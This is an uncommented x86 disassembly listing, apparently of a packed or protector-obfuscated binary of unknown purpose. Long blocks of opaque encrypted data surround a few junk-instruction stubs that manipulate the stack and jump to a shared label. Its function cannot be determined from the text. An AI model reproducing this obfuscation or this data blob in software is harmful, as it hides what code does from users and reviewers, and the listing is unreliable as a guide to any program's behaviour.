		dd 81F7CD7Fh, 0B44A116Ch, 523E9243h, 11C2343Eh,	9041B4B2h
		dd 42F06AC4h, 116C826Ah, 2DE104DDh, 0DD5035C8h,	0E11412B1h
		dd 18EA9C30h, 1A116C6Eh, 828824D9h, 0A800AC51h,	634776E6h
		dd 69CCF3Dh, 6C6DC0B4h,	86AB3311h, 0C8B15268h, 0D7D172ADh
		dd 74DAB29Eh, 8925D604h, 476AC8E5h, 0A8498C86h,	50046804h
		dd 0DED664FEh, 51116CDCh, 0E38EC3C9h, 620F4640h, 8691C4CEh
		dd 610DA156h, 4709A10Dh, 0A24F8615h, 0AFB642F6h, 61C62E24h
		dd 9F000001h, 1C421B6Eh, 0BC7439AEh, 0F854CC12h, 3AB87BF2h
		dd 0BA3F3599h, 4B1F731Fh, 0C39D3CB1h, 3705DE2Ah, 0C66567D5h
		dd 86F63866h, 17472D1h,	7C10C536h, 0C63678D0h, 89DD7CF1h
		dd 23734B3Dh, 982AB02Eh, 116B94A4h, 752C8F17h, 63h, 4E276E2Ch
		dd 0AF80F910h, 0E979010Bh, 4C82184Ah, 0C9C36F10h, 2586EA89h
		dd 5756955Fh, 61966817h, 0D31A10BCh, 8AE68A26h,	483C4AE6h
		dd 0C6175756h, 0A0558695h, 0A00C600Ch, 0DC7025AAh, 8AABD9D3h
		dd 0F1F26220h, 260EAB18h, 0FACF11Ch, 7C220B0Ah,	574E26CEh
		dd 6FE71917h, 600C60CCh, 0B21534h, 6E4C0000h, 0AE1C421Bh
		dd 12BC455Dh, 0AEA40890h, 24DE8A27h, 42EF66B1h,	0C9F4822Eh
		dd 2B116C42h, 0DBD08C65h, 0D28F38F9h, 0FAC13371h, 6B92C673h
		dd 0EDC7751Eh, 40116C34h, 24EAB4D8h, 0F6A407B8h, 8C31A26Ch
		dd 0F8CC7E20h, 4B116C34h, 661CBFD3h, 0CBD0B34h,	1F85DB43h
		dd 7ADAD7ADh, 8BF32A0Bh, 0CC0C72B8h, 0DB7BD8B4h, 5DE76C85h
		dd 28E4A64Ah, 3458F4A5h, 78FDFB58h, 3B6E87D9h, 1F5A92E0h
		dd 0F5A62822h, 8A6F656h, 43E095C6h, 0B2C7D301h,	0C62FB5EBh
		dd 0C2384691h, 4F88E0Fh, 0A0B7ABDh, 0FA6215CAh,	5F910B59h
		dd 0A6DC7F1Ah, 6CB9274h, 164F1B83h, 1C421B6Eh, 0A73C7CAEh
		dd 0BF138B12h, 7FF740B5h, 7EEB0DCh, 2A98E5C0h, 11650352h
		dd 0C103DA5h, 0BF5C9254h, 0D22870D3h, 2452FE9Bh, 0FB588B09h
		dd 5D5A8A80h, 0CE277918h, 151AE0B3h, 11A3FDE3h,	0FB47DC1Bh
		dd 0D55F66Eh, 4DEC6DA3h, 0B465E8EEh, 32DF1218h,	356E856Ch
		dd 0E12829BDh, 0CB2E242h, 0A692DBE0h, 767D0DACh, 0BCE88438h
		dd 0D3040F46h, 62D08E22h, 0FB47C58Ah, 650965FDh, 0BA8AD23Bh
		dd 2EE96433h, 13FC2D8Dh, 52000000h, 16BA5B9Ch, 397CD97Ah
		dd 0B7E10AD0h, 0F65581A5h, 0EB6D3895h, 5B929834h, 0DC1812BEh
		dd 599D973Bh, 0DE1C16BAh, 579B913Dh, 0CF0208A4h, 57848E22h
		dd 0CF000AA6h
		db 2Eh,	82h, 0E9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	536Fh
		mov	[esp], edi
		push	75D5h
		mov	[esp], eax
		push	5F15AABh
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebx
		push	edx
		mov	edx, 11EA05C1h
		mov	ebx, 11EA05C9h
		sub	ebx, edx
		pop	edx
		add	ebx, eax
		mov	[ebx], edi
		pop	ebx
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		db 0A0h
		dd 84649459h, 890ACD5Bh, 5FFEB809h, 0C50305F1h,	4573E0FFh
		dd 15A74988h, 71BF5ECEh, 5F491A75h, 47337CCDh, 42B011EAh
		dd 9AD353BDh, 598B50A2h, 2AD00C40h, 1EB764ADh, 0D22C1EE3h
		dd 0DFE25DBAh, 0A03F6550h, 5ACC5D49h, 75687206h, 47360DE7h
		dd 2E351CB8h, 348C0ABAh, 8EB1212h, 0
		dd 3CA44CCEh, 56CE9h, 61F06800h, 8FE905F1h, 68FFF91Dh
		dd 5F16297h, 0F91D85E9h, 642A68FFh, 7BE905F1h, 93FFF91Dh
		dd 14EEBA5Dh, 9C6632E3h, 10EABE5Fh, 9E6430E1h, 4DEBBF5Ch
		dd 9744B6CCh, 6B539C3h,	8B2CA852h, 1B025DFh, 0DF6DFF55h
		dd 1D47C6E5h, 6D7DD458h, 0E8E24EEDh, 70EAB465h,	5666EAC2h
		dd 66C55D17h, 1E5E903Eh, 8925D81Fh, 492589E5h, 0C39AEFEAh
		dd 73FC2F9Dh, 57CF12BCh, 0ED90C709h, 59B0EE4Eh,	833C098h
		dd 36B8B275h, 6C5C2685h, 0A2116C12h, 28228E2Bh,	0F5A509AAh
		dd 98E4194Bh, 0A95FA6D6h, 0DE2E23E4h, 65389237h, 6BBFF1ECh
		dd 21DA6290h, 742D8EE2h, 356h, 280F242Dh, 0E85A04E1h, 12BC7D53h
		dd 0DE64BE26h, 0E448E731h, 0C8966FBAh, 6CFBC17Ah, 802CB40Fh
		dd 30E110DEh, 0B166969Ch, 2E7B7EDDh, 1CBB0957h,	0AF0982C2h
		dd 82BF3B76h, 0EB8721FFh, 47F27BB5h, 9488F019h,	37E68B71h
		dd 0BF36CC94h, 88922112h, 0AA2EB75h, 3A6DBh, 0A45B9D00h
		dd 10C50AF0h, 983DBE44h, 16C336CCh, 993AB842h, 98EA6BCDh
		dd 17EDB95Ah, 92683CDFh, 13E9BD62h, 0C16B3FDAh,	0C80BE153h
		dd 0F27E1D47h, 7EF7395Bh, 0F998D9D3h, 9F9A3955h, 4EDB38Ah
		dd 0B6385EB2h, 1CFA2805h, 0B41E16A4h, 9911756h,	2694C665h
		dd 12A75403h, 12EA58F2h, 65116553h, 1CF91FDh, 0CAA210D1h
		dd 3D116552h, 386AC9A5h, 40B184F6h, 0D1633D91h,	116552DBh
		dd 0B6DAB62Eh, 64D64CE2h, 11655390h, 0DED87BE3h, 2553FF9Ch
		dd 0E2B88618h, 6112408Eh, 0E091C4C2h, 43732ED3h, 23F25AE2h
		dd 2FFh, 95C176FAh, 6135E86Fh, 0F1A5589Bh, 7F2BC60Bh, 0F2A65585h
		dd 29A9D554h, 0B224DE8Ah, 2DAF5501h, 0B124DE8Ah, 6CFE5400h
		dd 47C8E6DEh, 7CD5591Dh, 1C421B6Eh, 0A7068BAEh,	4EE27A12h
		dd 0FB98DE10h, 0E2983B57h, 1165060Eh, 0A2DD346Ah, 14E85A3Ah
		dd 6711649Ah, 7ADBD2FFh, 92C28023h, 1C60BD4Bh, 1F0C92Eh
		dd 6D900000h, 0D91749E8h, 674AE695h, 584D8AFAh,	7DDEB219h
		dd 0F39ED7DDh, 7BEC63ADh, 56B5F3C9h, 0B2DE4617h, 89D1721Eh
		dd 25C2970h, 0BCC467B0h, 129A7312h, 0B8599CABh,	1B557814h
		dd 3F44E783h, 80EC93C1h, 31E210DEh, 2DE1AC1Ch, 389B2EF7h
		dd 0E01AEE98h, 3866116Ch, 7DD186F6h, 0E2493C11h, 0EBF90F40h
		dd 93DA0A48h, 2E24DBE5h, 2C11h,	1B6E4800h, 0B5AE1C42h
		dd 4812BC48h, 360A7CD0h, 0F4116C38h, 7278D485h,	0A2F25EFBh
		dd 0B1CDF01Ch, 0B8408DFFh, 0C42E240Ah, 0F7h, 2FE86D9Dh
		dd 4AE76EABh, 4AE68AE6h, 0EAF2C26h, 0EA2CEA2h, 0FE17D604h
		dd 5F1CD1BDh, 6F4533D5h, 0C21756EBh, 909A365Ah,	2CE2BC5Dh
		dd 0BAB08A9h, 792DCC01h, 56E6AFFFh, 485EB717h, 9C8381D1h
		dd 83CACC6Fh, 0F4688D6h, 8FA2CE62h, 5C69E74Eh, 8DD57690h
		dd 42A0CA23h, 0DBF4C87Ah, 0DF471756h, 206298F2h, 0AA738683h
		dd 75D446F4h, 0FB6312BBh, 34E76BA5h, 6A42F06Ah,	0DD116A43h
		dd 55084F45h, 6E3695F9h, 86B56694h, 0E23E82FBh,	6C68B911h
		dd 47000001h, 0C03A6E11h, 40BAEE8Fh, 0CC366213h, 42B8EC8Dh
		dd 91376310h, 0B3609210h, 3AD91DE7h, 0B768946Eh, 25D419E3h
		dd 0FB49DB71h, 1D47CB01h, 3951F874h, 72D184F7h,	0B550674h
		dd 568592C5h, 0B670BA7h, 0C30AF0A8h, 0D2A14816h, 235439EDh
		dd 0D485F4FEh, 0EFB71478h, 5FA6A841h, 0DF79D103h, 2549E598h
		dd 6D4FEA49h, 0BBE549E8h, 9A5C052h, 49EA3E00h, 3F6B064Fh
		dd 4E8CB3C6h, 6B41F3ADh, 0DE175687h, 0C6742A46h, 12BC4B11h
		dd 2CE2BC24h, 0F7590DAEh, 0A905B439h, 0EA8DCFC5h, 3B3D3349h
		dd 88CD116Ch, 0F479B7E9h, 8F85E945h, 6E369548h,	0B1C329C0h
		dd 3B16C509h, 0EF4CC78Ah, 66CA69E9h, 0AAB7h, 1B6EEE00h
		dd 66EAC270h, 0C55D1756h, 0AD1EF7A9h, 11F02CB9h, 0AF2418AAh
		dd 0F971756h, 0EF2B4E63h, 8821E082h, 79E3792Bh,	569EF1CBh
		dd 0CE9D4417h, 0E1508DC1h, 8FF5563Ah, 12A77F66h, 6B61CD55h
		dd 0F36937E2h, 657F6B41h, 9507DE11h, 0EE012479h, 3E66C5A9h
		dd 93307990h, 0E69D2C9Bh, 6F0A4345h, 1110B5C3h,	0CDC72813h
		dd 24D5189Fh, 96438A70h, 10C1303Ah, 2252ECBCh, 13E95BC1h
		dd 66D81100h, 6D736ABFh, 0EE828668h, 57024B4Dh,	0C574F903h
		dd 0D26E729Bh, 4121B9D7h, 0C9342E2h, 0CA000000h, 0DF48D039h
		dd 5567ADF1h, 6D3895F6h, 929834EBh, 1812BE5Bh, 9D973BDCh
		dd 1C16BA59h, 9B913DDEh, 208A457h, 848E22CFh, 0AA657h
		dd 0E9822ECFh, 238368h,	24048900h, 405E089h, 83000000h
		dd 48704E8h, 89525C24h,	4C281E2h, 83000000h, 148704EAh
		dd 1C895C24h, 308E6824h, 3C890000h, 0BF575524h,	254B5FE6h
		dd 0BA3F18BDh, 5FFD3120h, 545DEB89h, 81243C8Bh,	4C4h, 10226800h
		dd 1C890000h, 8478F24h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		dd 41529E27h, 27DB03Dh,	3949C5BDh, 65BBB82Fh, 0C50305F1h
		dd 7B94E0FFh, 126732E2h, 0B0BE57B5h, 6DDE794Bh,	51426913h
		dd 0B80765B1h, 7C927560h, 0D87778E3h, 28167AD9h, 64DF053Dh
		dd 24523FE1h, 37D80460h, 985965ABh, 389C054Ah, 9C11341Ah
		dd 0B874080Bh, 0DDC82C30h, 0E4750CC2h, 2F571F9Eh, 0DE0B8Ch
		dd 2A3961EDh, 0E2A61E9Fh, 6A017780h, 7CE06E4Ah,	0BA6310D9h
		dd 4EB3D67h, 2088028Dh,	570E9h,	7027A900h, 0E499DE24h
		dd 54094AB0h, 0DA77FA00h, 5506748Eh, 5C26A701h,	0D3297D1Eh
		dd 56ACF89Bh, 0DF257126h, 5AFFB96h, 0CD4F2597h,	2EA21D47h
		dd 49E86D87h, 0AE6BEFE5h, 0F44629h, 73175667h, 472B87EBh
		dd 50857F2Bh, 0CE070DA1h, 0CA661545h, 6C66CAA6h, 0E9E64AEBh
		dd 977E71E3h, 6317C5A4h, 0C7752BF3h, 17568CEDh,	7D7BD840h
		dd 0EE0759F8h, 5780391h, 366ECDBCh, 0BCB00298h,	0F175750h
		dd 0C2323497h, 2D41F47Bh, 0AE518379h, 15C60802h, 2557E9B9h
		dd 29CA0CC2h, 4C4AE985h, 0C13B6F10h, 3741ED8Ch,	17575140h
		dd 3D48B4F6h, 340F234Bh, 7CBBh,	0E86DE200h, 9F93E549h
		dd 0AB175666h, 0A6687BE9h, 3D32C32Fh, 82A5F885h, 2A02B0EEh
		dd 9D175663h, 1AEEA605h, 6A340E35h, 0Fh, 15CA0AC4h, 9FF8D5B9h
		dd 0AB0AA1h, 6D45E043h,	0B9E74BEAh, 669B9123h, 10EE1756h
		dd 0F19D31E2h, 0B7383E9Dh, 3AF4AA06h, 0BFB91AB7h, 3C339F3Ah
		dd 7EF1C636h, 0EB258BDFh, 701CB063h, 0F1A0D5D3h, 0AD8735AFh
		dd 175665h, 74D87DFEh, 8FD77418h, 4EED6DD6h, 8055BCE2h
		dd 959DCBDAh, 9FD0D675h, 0A4FA52FEh, 32B88C3Eh,	90221757h
		dd 1757329Ch, 980077EFh, 8C0B793Bh, 3F9AD4Eh, 89832FCAh
		dd 7B07AB4Ah, 0BABEC735h, 0CA340F09h, 73h, 752AAA64h, 0ED6D73D6h
		dd 6BE8E24Eh, 21BB8E8Bh, 0D5B99711h, 107C7679h,	14A6478Bh
		dd 17573420h, 33670B93h, 46EA89C9h, 0C06C0D4Ch,	6182F2BCh
		dd 347349FBh, 5EC61757h, 0BB3B5FDh, 47C3340Fh, 6D000000h
		dd 9BB2CA3h, 17572933h,	0D1721E86h, 4EED6D74h, 0FF9CDE10h
		dd 86F6FC5Ch, 675B51E3h, 36AE1756h, 9CD2F65Ah, 0DE7D2252h
		dd 0A72B709Ch, 6DF9A0F4h, 91E74BEAh, 1756669Eh,	9FE61654h
		dd 340E38E9h, 115h, 0EE6D4C00h,	64E9E34Fh, 91FDA0D3h, 0A1D36D3Dh
		dd 7024D91Ah, 0FBA58089h, 0BC446649h, 0C173D912h, 116C41EBh
		dd 0F4AAC65Eh, 0B71BB83Ah, 86D878DBh, 0CA690A48h, 4B8E89CCh
		dd 26E02AEh, 0D560925Ch, 305CF0A7h, 9A7FF5Ch, 43E093C7h
		dd 0E5201045h, 0C880CC21h, 614E85Ah, 0FF67116Ch, 6FA1FF93h
		dd 0E9E34FEAh, 0B67CB6Ah, 1264C467h, 116C0620h,	0A5F2623Ch
		dd 2FD58130h, 0F9A70BA6h, 5DBD163h, 0B62E116Ch,	3FDA1315h
		dd 7753B93h, 4AA82AE4h,	363ED597h, 0A0AAC642h, 282E8D2Eh
		dd 14A0F4A5h, 2E242D64h, 1B490h, 81F03E00h, 6ED673D0h
		dd 0D21C421Bh, 0D876BDA1h, 0F5E0E545h, 0FA593599h, 1AA832A8h
		dd 1756BD22h, 0D4AE0D95h, 12BCCA43h, 0FDF745DFh, 70116CA6h
		dd 0A8304BE8h, 2AC70E04h, 0A051847Eh, 44CF060Ch, 0A00C6011h
		dd 81164608h, 4DF9AD4Ch, 2E2479BBh, 96CBh, 1C8C6500h, 0A7549A47h
		dd 804A670Bh, 6ECB68ECh, 0CE7C276Eh, 175666F6h,	0E3BDD149h
		dd 0DE3A9079h, 1DD34D87h, 6E20C4BEh, 8B131756h,	45B77927h
		dd 0F1523E92h, 566DB18Bh, 46F57917h, 0CD6EE0EAh, 0E91B4561h
		dd 0A54C1EB4h, 7D52B58Fh, 6426854Fh, 0EE65A0F8h, 965C96Eh
		dd 3BA13B65h, 5667B389h, 1EAC0617h, 17566826h, 0CE6D0199h
		dd 5667F0B4h, 55BC317h,	77D487CBh, 1568812Fh, 0E4FDFCDFh
		dd 0FBF1431Dh, 4E17569Bh, 0D2A875D6h, 6000000h,	47EB8CC8h
		dd 6E2D882Bh, 0AE1C421Bh, 12BC455Dh, 0CC560890h, 6C43867Eh
		dd 6B61F911h, 0F69A36E9h, 76FFF555h, 74B85DBh, 0B418BD32h
		dd 7418B4D8h, 42A4982Ah, 8F17116Ch, 478E742Ch, 43EF90CCh
		dd 0FA560549h, 3A96FA96h, 6C43414Ch, 8FFDA311h,	0B360925Ch
		dd 0D6D0731Fh, 5FA6F29Fh, 9F2D734Ah, 0CBCDB32h,	26E29841h
		dd 0B3691BEFh, 0A91B81DFh, 0B7B26D3h, 0BD1DBE26h, 13A13EB7h
		dd 0B7B2719h, 0D7D9F46Ch, 3CD8720Eh, 2A208CE0h,	505AF6A3h
		dd 81D17D1Eh, 0F8A8CD3Fh, 867ECC56h, 0F90B7AD3h, 49C34C61h
		dd 7B84536Eh, 2E6A9AD8h, 0B55C02DBh, 0D88F753Ch, 4311B242h
		dd 25D330D9h, 0B707073Eh, 5A236E14h, 8B5206CBh,	5EEFE2C4h
		dd 401478C7h, 1CD03919h, 0E41DA5DFh, 0FE0B0EADh, 7ECB7927h
		dd 0A412A733h, 18F7B14Dh, 0C56660AAh, 808A26BEh, 2F8AC4Dh
		dd 0DC822ECBh, 2A3EA735h, 71D2E53Ah, 3DA4090Bh,	9ECEC42Ch
		dd 0AE51834Dh, 17C20B0Dh, 8534B943h, 54E115DBh,	0B91A7627h
		dd 0BBAE4719h, 2E6F12FFh, 3FB2B417h, 0D06E3E92h, 33DE17A4h
		dd 0B9589D67h, 0AC415h,	89D0000h, 0B95A9C52h, 7FDA7915h
		dd 9834EB6Dh, 12BE5B92h, 973BDC18h, 16BA599Dh, 913DDE1Ch
		dd 8A4579Bh, 8E22CF02h,	0AA65784h, 822ECF00h, 38E268E9h
		dd 2C890000h, 76786824h, 0C890000h, 41FC6824h, 3C890000h
		dd 4E685324h, 5B6F1D70h, 4FE6EB81h, 0B8506A00h,	3A0A713Fh
		dd 35404048h, 47D515E1h, 8158C331h, 2F21FBC3h, 5BD9898Dh
		dd 4EC81h, 24890000h, 24048324h, 0EC835F04h, 240C8904h
		dd 0FF08478Fh, 815F2434h, 4C4h,	240C8B00h, 81E38953h, 4C3h
		dd 4C38100h, 87000000h,	0E95C241Ch, 0FFF9124Eh,	78755BCCh
		dd 0ED65AC4Fh, 6BB0B870h, 0C50305F1h, 1DCEE0FFh, 7A9901E4h
		dd 375317A0h, 0DF8D33C0h, 99597162h, 9B3F2D67h,	6BFD539Fh
		dd 91909C0h, 52B628FFh,	4EB71BCh, 0E3AD18Dh, 4E5E9h, 28CF0100h
		dd 0AC51867Ch, 2CD102F8h, 0A24F8278h, 2DCE0CF6h, 245EDF79h
		dd 0AB5105B6h, 0DE247023h, 57ADF99Eh, 8D27731Eh, 0D2D7AD1Fh
		dd 0A62A1D47h, 49E86D0Fh, 0C86BEFE5h, 42EF669Ch, 0C071E4EEh
		dd 4CF1666Ch, 77E5EFE0h, 0E76AAD20h, 0D9BAF60Bh, 107CC796h
		dd 6F86287Ch, 4F7A4193h, 222487B0h, 0A3590DB2h,	7C228E31h
		dd 31923FB2h, 0F37ABF37h, 6FE0EA46h, 620E62CEh,	4CF2A20Eh
		dd 0A6599B20h, 1CC136F8h, 0D81DE7BFh, 2BA96739h, 17B4D874h
		dd 0CEEC1B7h, 46041757h, 0DF39CF16h, 5145340Eh,	1C000000h
		dd 0E549E86Dh, 56669F93h, 37F9AB17h, 0D3BF13BEh, 0A1C23270h
		dd 0EC4FEA6Fh, 0E37D4A4h, 12034h, 6D790000h, 0EDE74BEAh
		dd 0C92FAD6Ah, 6461EDCAh, 4EE28EA7h, 0E8E24E22h, 6B64C869h
		dd 33A4F361h, 0A92CD682h, 1BF25C08h, 9ED8F8F1h,	8C298ABCh
		dd 0D37EF739h, 0B6B0137Fh, 313B9744h, 0B9B31FBEh, 23298534h
		dd 0ABA408ABh, 0AA0233A1h, 9E7778E4h, 96A82121h, 9791327Bh
		dd 1EE4B063h, 0AA643AD7h, 76D6752Ah, 0F25EFF7Ch, 5394C08Eh
		dd 13BF5E9Dh, 5505FF4Dh, 0E0781757h, 81672F8Ch,	8D340F2Dh
		dd 57h,	0FED6DD4h, 60E0CAFh, 9344B0F3h,	353F93FFh, 0B4BB17C6h
		dd 9494EBEh, 96C43E6Ah,	0E4349E5h, 0FDB3CF63h, 0E8A2468Fh
		dd 46D2340Eh, 8B000000h, 0E30FED6Dh, 937ECA53h,	5C56FA96h
		dd 0F7D37F20h, 0FE7C3BA9h, 30E7DD6Fh, 0F05A1757h, 57316A42h
		dd 2945DD17h, 6D481145h, 0DB154BEAh, 2448E497h,	5E512787h
		dd 94175667h, 0A95FA6D6h, 0D5340E39h, 1, 4FEE6D8Ch, 0F464E9E3h
		dd 9104E3B5h, 39DC1F97h, 0A9673955h, 0B5D97524h
		dd 3C9F3ABFh, 0B065969Ch, 30E5161Ch, 0A7A349Ch,	35916BD9h
		dd 7CE41757h, 8EFE4010h, 7F2BCA09h, 468C38D1h, 0B9C6D105h
		dd 330A1F1Ah, 8D30A36Dh, 0BE604D21h, 0E201B3Ah,	0A91B49EAh
		dd 12BC91C6h, 31FFA139h, 0D1BD11C0h, 95D8D272h,	34AB0E4h
		dd 9123C230h, 116C8F9Bh, 761A76EEh, 8EDEACDAh, 207E116Ch
		dd 0C36EE7B4h, 49E86D97h, 0B252BBE5h, 0E2DA686Bh, 55116C84h
		dd 5B92E0CDh, 529B9D3Eh, 4DE190C1h, 0CF630E47h,	0FA3CFA3h
		dd 3C7BE9A7h, 3CF77EB9h, 0DD711DBEh, 3D89DDB1h,	2E244B4Bh
		dd 134BBh, 1B6EE200h, 39AE1C42h, 0CC12BC74h, 68A6F854h
		dd 88E448E9h, 9A82D2Bh,	832EA75Dh, 1B0252Fh, 0B25B05ADh
		dd 5BD85BF1h, 5614B7DAh, 0BD5C9126h, 498947E9h,	82EE8FCCh
		dd 0A9E1422Eh, 2E23B9DFh, 492Fh, 276E7600h, 0FAA2104Eh
		dd 0CD175666h, 0B58FF955h, 75175665h, 0F4FE5201h, 9344B087h
		dd 0B5FB53FFh, 0FEBC1647h, 220B0A8Eh, 0AB28E67Ch, 9D3A90Ah
		dd 0FC175666h, 87F43A64h, 3B167AD6h, 0DE9B9730h, 4B13B000h
		dd 0A86Ah, 0F7393300h, 8732BB80h, 872B472Bh, 67916BD9h
		dd 7CE41756h, 63B6B310h, 576C49Ah, 3812BC46h, 0CF060CA0h
		dd 3B445063h, 70D4245h,	1B4F23CEh, 61CD6CE1h, 6B7BE617h
		dd 6C98C611h, 550BA62Fh, 7B877DCFh, 62FA116Bh, 0DE3799C1h
		dd 0FA0C7DCDh, 4502D7E9h, 0DF07D9F4h, 15EF5D03h, 68116BEAh
		dd 435653F0h, 396247Ah,	0B20CBC8Eh, 498C862Ah, 102AB9E9h
		dd 335F1CB3h, 0FB61CF9Fh, 7AA47349h, 0FD5EC60Bh, 3C4D4DBFh
		dd 8D21D407h, 61D38DE1h, 6CB48F0h, 0EBB7469Fh, 0E3D6DA06h
		dd 67FA9E13h, 0C9C3AF3Ah, 0EDB9D584h, 701B6EB4h, 5666EAC2h
		dd 0CFC55D17h, 2A46EA8Dh, 37AA1846h, 0C612A70Bh, 62ACF25Eh
		dd 0E7E142EFh, 6D97C36Eh, 93E549E8h, 16AC59A6h,	3235A7ADh
		dd 59221AA8h, 0D950599h, 7425A8AEh, 0E693DA20h,	6011404Ah
		dd 5DBAD73Eh, 0A6B1D40Dh, 4BF5A505h, 0AE4B8219h, 2CCD00FAh
		dd 4237DE80h, 0EA61B5EFh, 0F854074Fh, 865BF894h, 14h, 11A339DFh
		dd 1756671Bh, 0F5DBF66Eh, 6B35C8Ah, 329FFC5Fh, 9834EB6Dh
		dd 12BE5B92h, 973BDC18h, 16BA599Dh, 913DDE1Ch, 8A4579Bh
		dd 8E22CF02h, 0AA65784h, 822ECF00h, 5B5453E9h, 4C381h
		dd 0EB830000h, 241C8704h, 0E389535Ch, 4C381h, 0EB830000h
		dd 241C8704h, 2434895Ch, 81E18951h, 4C1h, 4E98300h, 5C240C87h
		dd 57240C89h, 783C28BFh, 44BE564Ah, 314F8950h, 0FE895EF7h
		dd 22C8685Fh, 24890000h, 24048124h, 4, 0BD555659h, 0EEB7601h
		dd 4246C29h, 8418F5Dh, 1084181h, 8B0EEB76h, 8952240Ch
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 2434FF5Ch, 4C4835Eh
		dd 0F90D2DE9h, 0D6E2CDFFh, 0BCB8640Ah, 305F170h, 33E0FFC5h
		dd 9F0AABE0h, 0B059396Dh, 2F289606h, 60442E66h,	0BE786E06h
		dd 166BDE7h, 0C81300B2h, 787D4754h, 0A8091AE9h,	2D435B09h
		dd 6B69161Ch, 0EE17F0CBh, 0AF1FDB74h, 0EF0D92ECh, 7F024909h
		dd 0A8011FD9h, 0EA1ACFFEh, 305BF6DBh, 0DE487487h, 1C456117h
		dd 9D3D860Fh, 26F1A90h,	8D45C3F2h, 0F172938Dh, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 3C677223h, 1AF5B288h, 0DE8h,	0C29CD400h, 247DCA1Bh
		dd 134EB9F7h, 9D8B9AC3h, 5EA2401h, 0DD8D895Ah, 6A05EA0Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0B570C357h, 8B3C58E8h, 28E0F4Bh, 0B0000000h
		dd 0CD85C7A6h, 0BC05EA0Ah, 6A000059h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 1557C350h
		dd 6C3BBE47h, 85C731A8h, 5EA25F5h, 0
		dd 0BF5B5FFh, 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 99F1F2C3h, 2A1995FFh, 8B6605EAh
		dd 0FF006ADEh, 0EA101595h, 0EBC08B05h, 0D322DE79h, 0B1329A3Dh
		dd 0AC4E48F0h, 0CD2F135Ah, 11AC9B96h, 0F8D8CB24h, 1DDDF60Ah
		dd 0A7246D88h, 0C9B3656h, 0EE39D653h, 0FAE9C68Dh, 0EB885BE1h
		dd 0F770C889h, 7C69335h, 3818A5D6h, 3DE78201h, 0F1DB99C6h
		dd 8ED1CD00h, 0FDFEDFD2h, 7D100B82h, 0CB72FFA2h, 0C82CC5DEh
		dd 0FD2F43BDh, 13D27A89h, 80557767h, 0EBC4CB90h, 9C9F2F35h
		dd 3CE014BFh, 63BEB273h, 17C4A772h, 4EBE12Fh, 7480CAA5h
		dd 0D2EE9h, 750D6800h, 53E905F1h, 68FFF90Bh, 5F1760Eh
		dd 0F90B49E9h, 780268FFh, 3FE905F1h, 68FFF90Bh,	5F1792Eh
		dd 0F90B35E9h, 7C2868FFh, 2BE905F1h, 68FFF90Bh,	5F17D86h
		dd 0F90B21E9h, 7EA568FFh, 17E905F1h, 0FFFF90Bh,	0B84216C9h
		dd 28D28637h, 0A45E0AABh, 2AD08435h, 0F95F0BA8h, 2BC80A78h
		dd 0A251857Fh, 2FD00CF6h, 0AD4C817Bh, 73C153F9h, 1D47DA79h
		dd 6DE940CCh, 0EFE549E8h, 0C537F966h, 67906412h, 0F5B91756h
		dd 33CDC70h, 0A972ABDCh, 80F3105Ah, 0C19FF39Fh,	1281B728h
		dd 249603DCh, 1756BD50h, 0F4573BA3h, 79900A54h,	0EC3C2255h
		dd 0E2DAAC38h, 551756D5h, 0EC686ECDh, 97DB154Bh, 0B7E747E4h
		dd 99DCDB09h, 2456ACF8h, 9D31E011h, 33C99DF1h, 0B9B31FBAh
		dd 2F05B734h, 821756D6h, 0DB22761Ah, 1BA9F7CEh,	12BCE4CCh
		dd 0C6BE0C96h, 39116CC1h, 0C24B2193h, 26BE116Ch, 3892E94Ah
		dd 6CC1B28Ah, 0F19D0511h, 0C2552B5Dh, 0FDA3116Ch, 40087914h
		dd 92312BA9h, 0AF59A4D0h, 0DF2E248Bh, 36h, 7EF73986h, 3D9140B5h
		dd 0FD913D51h, 774E5B5Eh, 48809B29h, 0CD3312BCh, 2B87EB8Ah
		dd 6C386B5Dh, 699BD511h, 0D687C806h, 0FDB5167Ah, 2E240A0Bh
		dd 0E17Bh, 0E86D2200h, 6BEFE549h, 0E76E64C8h, 0DACFF30Bh
		dd 583450DCh, 0EA8BC806h, 29892A46h, 8534B977h,	0CAF2329h
		dd 90C5C360h, 0E233B5E1h, 0AC1756E9h, 0FD6CEE29h, 56E9754Fh
		dd 3C50C817h, 43AA0450h, 6672D5ABh, 32A4AEFFh, 0B1242281h
		dd 54A5AC00h, 0DA65D789h, 6D12BCCDh, 0B342ABF5h, 0E8F11A3Eh
		dd 9B623A99h, 0E9B78Eh,	0A75FA772h, 0A6F45747h,	0D0D1EF14h
		dd 0FB7C820Ch, 0F69AF65Ah, 47F466A8h, 3B318319h, 8E0B7F9Fh
		dd 17EDB516h, 0A80330E3h, 7CE82939h, 0A9205D4h,	0F0600000h
		dd 6EE11B4Fh, 0F2619BCFh, 6CED1743h, 0EF6399CDh, 3FBE184Ch
		dd 34601347h, 0BFEB88CEh, 34601745h, 0BEEA87CEh, 40348614h
		dd 0B31D47DCh, 0ED6D963Fh, 0A60AAB28h, 8F2A6CAh, 38FB72C5h
		dd 0DBB71BBCh, 1B771BB7h, 1B6E164Fh, 0B5AE1C42h, 4812BC48h
